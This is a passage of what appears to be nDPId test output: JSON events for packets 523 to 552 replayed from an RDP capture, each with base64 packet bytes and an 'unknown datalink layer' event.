er5d1Qfo"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":523,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":524,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620258,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNggEAAfwYn1cCoAo6sEAK5DT3NDkebmmL5vQQDUBj6APS4AAChJALYjFI7lyK6YK0qJg0NrVcXVBpbjGj\/+irPOL\/G4xX\/KCsusxg0QhFkZaRJWgKENxsA1HdzDYDR\/BkRyDslzfT+gF\/OvCe7lcXChaK8BvP9vusDzzAv2A9H7GQevCM3SKN1vvTB8Uzn3\/KJnJO48O3pS1vibwocceyq6F2zhgUbLGBRc+B3HpKV4JPzoJI4VIpiqDAJ5e9f8hNiIF9NO2B9nO2HQR5l81U2kuwSbRH05Xpj6y8wl9iD9U9lbGhn\/V0VASFIvnnQNJfL2Y5TneQlwXS8WCrKykV5LcH4xe4QUJnegqJj7LO5lpRVinv3lK2Ssr08G6dXiuaAqfZwHd8491HLUHfm6HXonn313\/lTkz4hWWerTbcJxiHbRTgkCMme1DPMN0+IfksxKszpESieg+pNTVfaPc2aI4ErqShblm9yqxBL46zRCNEastU2T\/QyZvIo5sEd2OKakuwpgrQVGRZk00W3tvhTLtNp2qcOQBSahebDNh7W"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":524,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":525,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620304,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1ggUAAfwYpGsCoAo6sEAK5DT3NDkebm935vQQDUBj6ACtuAAAXAwMAMAAAAAAAAACe55IqroPLi9ozi6BaQ7gxzoJClUuZaum3HtCSKNe65Gcl6P1QxDBE6w=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":525,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":526,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620309,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BVFHm5vdUBAf9GENAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":526,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":527,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620383,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChggkAAfwYpTsCoAo6sEAK5DT3NDkebnBL5vQRtUBD5logZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":527,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":528,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620431,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BVFHm5wSUBAf8mDaAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":528,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":529,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620542,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gg0AAfwYpGMCoAo6sEAK5DT3NDkebnBL5vQRtUBj5ll6UAAAXAwMAMAAAAAAAAACf4b3CCev2a8ynWAr27JeZAqLWqw89iDSPZg1SOrz4MTMzhTKNU4vwvA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":529,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":530,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620578,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BVFHm5xHUBAf\/mCZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":530,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":531,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620690,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVghEAAfwYpD8CoAo6sEAK5DT3NDkebnEf5vQRtUBj5lo\/qAAAXAwMAOAAAAAAAAACgB7zWciB82IunkfxyLBO+ll53iUwVmIFo5WU9Zp1bXY5q04BkVuekAW0va3yAo281"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":531,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":532,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620715,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9BVFHm5xHUBggAHG1AAAXAwMAOOAIO32NJwu7OSKEhqPaNvym5FIs2iNg57oybpi8pKI35phxud74ZHxd3F5WxiQ4e0PxDXn\/6ekB"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":532,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":533,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620809,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1ghUAAfwYpFsCoAo6sEAK5DT3NDkebnIT5vQRtUBj5lgTtAAAXAwMAMAAAAAAAAAChU9urfp832ajqzNHXN68QuIyh\/3S43+GmoGDlK152rPMhImzWRAJywg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":533,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":534,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620830,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BY5Hm5yEUBAf\/mAfAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":534,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":535,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":620971,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BY5Hm5y5UBAf\/l\/qAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":535,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":536,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":621114,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9BY5Hm5y5UBggANvWAAAXAwMAMOAIO32NJwu8p4yIu4B3hv7IOjwlBIlAMQz3LX7JW6jVVbqL9yO72dMRI\/eOQqjEtQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":536,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02086{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":537,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":621297,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFghkAAfwYkUcCoAo6sEAK5DT3NDkebnLn5vQRtUBD5lsPzAAAXAwMGbwAAAAAAAACi+68Ldd2vfOttOG17HKCQapY37125NMxk\/vAoKNcWVeLdARBqm4NueFT+LD9MwD1GoUKs9y4R9h4Oo7J8IjJrE1ggeDCgxQwjww6cBUIJX3\/M1E3WBdnoslFrLxG7KtbupFsV\/c0l4xweayxXSMJ+qBclhD6s+3aWDi3I4AuLf5gF4Ft3sWBIcxn4QbGysPez5OoT5Sjm\/2XlaHUeRiDkgf9787ohF2Hab5Fe7K26LYmbdvrCGDozSDJHnZrHdNAkUFlNV0c7bllHN06uvnt6zEcupJcFMfJFbIsE1cvhH\/VKqeZEYnagGN+GQbr4RzRRRmg8tut6DcMe2FxdiKQkFa01us3lwLyhqq9znSNy52s1zv\/3lgyMsRwu+a+VLmP+m54KhQbgHXe6Wm5aR5\/xD4dzOed2Cy1\/esNiQ2T\/WOxPGW1jaLaE59VVX\/UaR36LUtaTFgWDFmnJYyU0HdrCaxWiGXAgE\/mxp8JUC6QrPUbUFGil9m1FLEnrLHiKJbkwnHgaPFZPh+miaTNg02UP5rVBw8EHr3GPePINnG7l3tBud\/eVU67bT9r58RqsIWstOkMDrFhmHn3SukhNLqIh57vfZAaLX9g4txUGnxPCVJS1gv17V0glE9ebc2ca8PRnhPXLfCpw\/JsKechtfyzD\/\/qEEekdJurHpgUTw682J1wRlenP1mq3L1bvKMNz4ZZBo6ADI\/ENbgzhmL4cGB5EV+Uut1c\/CtMFj0K0zRVV7AsrwpCkRT9RxCQiR8nFjz1b7C\/h1vq9FMRYH0IqjnfwQG+tXhP5WEHDk0C5atvJ9qSicc57klyufHbdzRY6qWQDJ3lu9Fq8KnuFPzy9b+5RRhaTO4wyRkjtZIjTtgT\/c4PAPPOeOeexddCNkqMCS3aQb69SHhExQt9LPCMsU+Vv10m2Y3a4AJ0CAGb5dt71Lmc8NHLLirXnX2cpdgnBZ+NODQ1VAfeRz0Fx\/Tphy2HxpPQGwj3fjjXxdEkd2b5BqhcZx+R65SeyubtT0kTq\/1h8rM5jHuNuKdNZdp98mAObYaqGkXbwUA8hPL96Gd+NDaKpZkz2czKGFfNVbnQswUYXYaDU5Ua\/fLLt+vKvJX84r7bRIkz7EqfO3N9P5cLUpsP+twjKOyOEoQK66RylnB\/6Qdt++4cMwZxrr\/5pQlUpGfPLc+H3hMXqWt5qhpjSera\/j5aWat8l\/n4zX4dSE4oZkFnw4\/0Q8M7da3a37XQ88RTVic3L7WSRjB2LbQtVQpcaEjsrgF3GRVzDPr0jbFn+Hra7RSmOd4PspBZn6XUv5UUx2FOohSw\/IyOC6kfsIYNNTQ4LJ3m38fmoNlZEiAW+Rohfd3XrGbiiauk\/hLlEDE1YCi2KGFP7WCxjwwnBOeIdevCJK7u2oDREHKtK5i3jKly3vcearpQMI4QT5gB96uiE\/vjyiZwNVosRfprtmD7\/JBH1Em+rAGaiRykfvtUapPPtl3GcP34\/KMJX0vrB2uNp6o7FqYpP+3zee2\/4ebeL92zXfqdxF49+yxFGeMPAb+OvNy8TXxbTxUogErhNsS0OvLR4bAgIwePg9ubWI\/V3KfUJz+6tZ6mSkZ\/ULPKFpG6W9uEsFXaoazfd6pqD1aeej8vZSqNIhkOQ2aAZmnBDksmqvotRnhKyz409Ku608C+tCX3WI\/PjHVDG"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":537,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00860{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":538,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":621677,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgh0AAfwYnzsCoAo6sEAK5DT3NDkebobL5vQRtUBj5ljoAAACguAwhMqoTeRk+ZbrcFIs2aJDWwLVlPmLHx+OU1GwzbnL4gwFWVvAK2vphFLzDJCk9ntp1amiVsCnwPYkWZSLV9ngrrEyndK9uLG4yBLefxZVY091OJEKGGCUAjw6iBGdEZiP3qqLCLep+4IU7Lf6JZE+k9FqqIhUUCAsRZwqjtX62+NQKb2B0Jkko6mUt\/5g+Xyo3nIeUGw3Swj4pStQ7VOPhShV7qMvDF3Lo1QJbqLa2Al1NVEv7TD7609ppOdGaNl1fKM04r7e8jVmaYAH4ElDkTv4T3+kTZW51mCwrkrwFalhLsmsd4q1eO\/i9u+fogkLWjneCi+L1QNTRopcAVu1LcjmlcIhfV6pwTtYp\/\/EPxmZwBP9jbDF4OUGYzEzIWYhkq4jY9f6B5za0GgeiqGubf2khFxOfvr2uWsMSsVzQNSXoZ43umpdI8MYkXgv+YNXZu9Iug1v1GtQlNZwBLqlVXZMk5HrXVNYUcbcaJpjJysPhw2qJBr2L"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":538,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":539,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":621715,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BcNHm6MtUBAf9FlLAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":539,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":540,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":621716,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1giEAAfwYpE8CoAo6sEAK5DT3NDkeboy35vQRtUBj5ludmAAAXAwMAMAAAAAAAAACj4NJpMK89wiMKTZreS2W0jd9sM3sFfTQnO\/D0GdHvbrlFEESDr+z\/aA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":540,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":541,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":621816,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BcNHm6NiUBAf\/lkMAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":541,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":542,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":621984,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9BcNHm6NiUBggAD9gAAAXAwMAMOAIO32NJwu9DSEHtO4289mo6t3m6STTHAdizWpUj6q1J73mBVoihFgDbglhGJGVuw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":542,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":543,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":636474,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgiUAAfwYkTsCoAo6sEAK5DT3NDkebo2L5vQRtUBD5lih4AAAXAwMGbwAAAAAAAACkMYLiQubzStuD88YWy0Ne95LgQzmZG6rw\/KtVUaQepOz9451MicxsbJaWjb48boaAWT1TauQ51YrxEJ0R0DYmU6\/x1bXVyyEdai4ojSMgFGbz5ukosN0uumRZU5ztcCw3ukE899ec4xUQSQj6CMn4lLu1xD38Z72kHK6udGYLyD\/e4hmvjQXX15MmOCdw2LopAKdlcIhs3RhEUH3uJ+AYG2mrFLkEv1ubRFvMjnfK5gIpGjQLMNW1bGgkZ3IiPJYgOQh0TWCNlUfcZfZyobeUDRfs9ixbyubYyQv6GcuPkhGMbwJphqsu3B9cR\/K7XrijK1Ve4cJNZbnzxUzeufOtTe4cX\/uk20rCWjwkT5W182eR\/IgxhbmYcF2qY+C0Y8qQQvYWIoGECkRvUUzxXpPAez3Kc5jgbySuG9n\/Nay42M3X8dHPp7m01wYwPeJglxjLVM61Mceg27sMsyPNgZlbtqtEXdQ\/PUNthn6ElrvCSjHHMESxEQmbjhW1BTyMZHK3zRKbQ6f1uh0SZ\/SyNByvaxmcOwKeHB4BDSBByatVybuKjQcqN\/y\/7dMaf5IwpszQ+jxbw6qFtZHemQXHdiH97wwy+PHkOYtN840fETIEqnuMUsk2g0oFdw2MvWcTn+sJxpzFpypA7jxuwjVSTWJG0BM7XNMwKhYKMwjx+HSnezESKwbPiWVYOvG\/CME5Sxsfn42AGTdrVJV9lZPmEvFucmXudQg1Msa6OeGB2hXC8hgjs5j4mhNWLPiK9NpC6nHFwMoPdwcYSWZZn5Ft5X4LVI2utGDCF6hMylAk7tULtW1GsxJFHlGGyj3lszGshYn+dBf855ebxKT+m3mAbFxS6w0qAOrDj+8HHdVfYm\/wrz4EW8jiQ526szhEPUnvKXQrnD7kL5qIFOyHUnLVujYq9Nls9zRom5XnBpZS696VtzABGlUxqwhmr1a6KLsLRRTb4sk8uWHHZe6iCeeiuC9w9IHHSp37x8tqHJz2DQpPbKcZ2DbaCmtmVh4KXfA2RGvNHtje1S\/zOUxcVY7DHGsXgoC1qaQHjx5CUCYsnBp5Fnvzfwy627+tfIZzkc7EBGN6LBtgbsDYKVPMw3nlAsQ8lyoQ9QRufwGonUOxw1wvr\/ZDlvp0vtCb5cS\/+hOAT0LhDsrhMmgQzIcvRarFhgBa47cJh\/66MGV\/XmCbfB5ZvEHsjJFgOlbBWBJcivGZNkmSPJNI673DQxn1iIDH9hXGRsnKNedbwH4SeF1k5DX2UzeLTtwEt6LK11Y9tlMzNZZqb2Aj6dp6QpaX99n0AmlkLEX1wBKLYAV4Tq2WjLv83LavcEpkf\/+HCC6hBkoKlMfnV\/V6uEt6OkpjGP3nvXMxki7\/8bXOryu7BrFl0Tg+hvRzqii2Kz6id1dNwOHdiL8CBDAasxmQs\/gwj\/j03FLPty6iw71Le4xZZCZMkcGah+bcWQ5ObiskaQltj636+dqZ4DdT62JV9GKewC\/IyDiAEPGQCtMKYTmDybYwNK4ioM07pmO+6dDcoQx57PpkfOxNEaxN9Tb+O3R80AR9B5EbzKvGvq7G\/IRfaZW11ly2\/fzY2vzG6e4QzisdFXdgV0iEwMhp9tnsIA8cM9kaEwg8ldlAeznx\/NqIQu\/e3up2N6WJvCDiCURyC5grMVF9Wp1jljrxrryR\/qilxIce"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":543,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":544,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":636527,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgikAAfwYny8CoAo6sEAK5DT3NDkebqFv5vQRtUBj5lmVWAACvr4FGH9BTdhtGRUdPnUoImx4lVPFWoXLafxUzrsOfpZYnODvl6AGdBQ6Pu5ZNPXeG33k4Thoxun0ref8mucaoeUjYDukcN+0GhRsPfCdvpKX4NJTqiOOQJSOld5Fe8xShYH+zGTyD\/u3CVLrPx07lOVZTxRNzX727zkJkd15yYb7Y2jI7NdrEvxCJKhBbLM714UDyJcDjbtm\/Cib6mSGwnNScIDO75OnkrH4V3H+qJl4NJvT870XJ+VoVdO0oqaREgveAP9floMRHVCLlNbT6XBgqEWsfCR1sQ3wfI6G+FodeeqGY5ZTNh9xAIyUN6Dc\/6XUcpy10lzDeF8VVpfIh3SvV4ay7RUH9oKs8YCddc80j1ZBJaXabVs7jbSLx0uHigfQhwoeoQTL6srAij20Cyb5HsBhYZuZAWH4A7y3\/nQbMvNKbwNdD0nJHHUslamuT6P3FK2okLH6HWrAa\/srgHUZZMCLupUxb+7\/dctGdVWPfoXMp0EUu12iY"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":544,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":545,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":636570,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gi0AAfwYpEMCoAo6sEAK5DT3NDkebqdb5vQRtUBj5lqcdAAAXAwMAMAAAAAAAAAClkRvnk88+\/0rAKFLwEJCyQXyqfY+uoI+7ml2zzPg6gICWQTD70AZDAA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":545,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":546,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":636577,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BfhHm6nWUBAf9FJtAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":546,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":547,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":636646,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgjEAAfwYpRMCoAo6sEAK5DT3NDkebqgv5vQTfUBD5JHogAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":547,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":548,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":636690,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BfhHm6oLUBAf8lI6AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":548,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":549,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":636800,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gjUAAfwYpDsCoAo6sEAK5DT3NDkebqgv5vQTfUBj5JD3mAAAXAwMAMAAAAAAAAACm+dyNc8ruILLoFJvGXymh6DGfBReUWAVe2xPHR8MhhZ8UN++y8NdRIQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":549,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":550,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":636835,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BfhHm6pAUBAf\/lH5AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":550,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":551,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":636949,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gjkAAfwYpDcCoAo6sEAK5DT3NDkebqkD5vQTfUBj5JITWAAAXAwMAMAAAAAAAAACnzaCodT9fHxVxbb4T+BgoYiaSVsqQ2XSoA78KnB2rJzBbkL\/CiKI1cg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":551,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":552,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":636983,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BfhHm6p1UBAf\/lHEAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":552,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 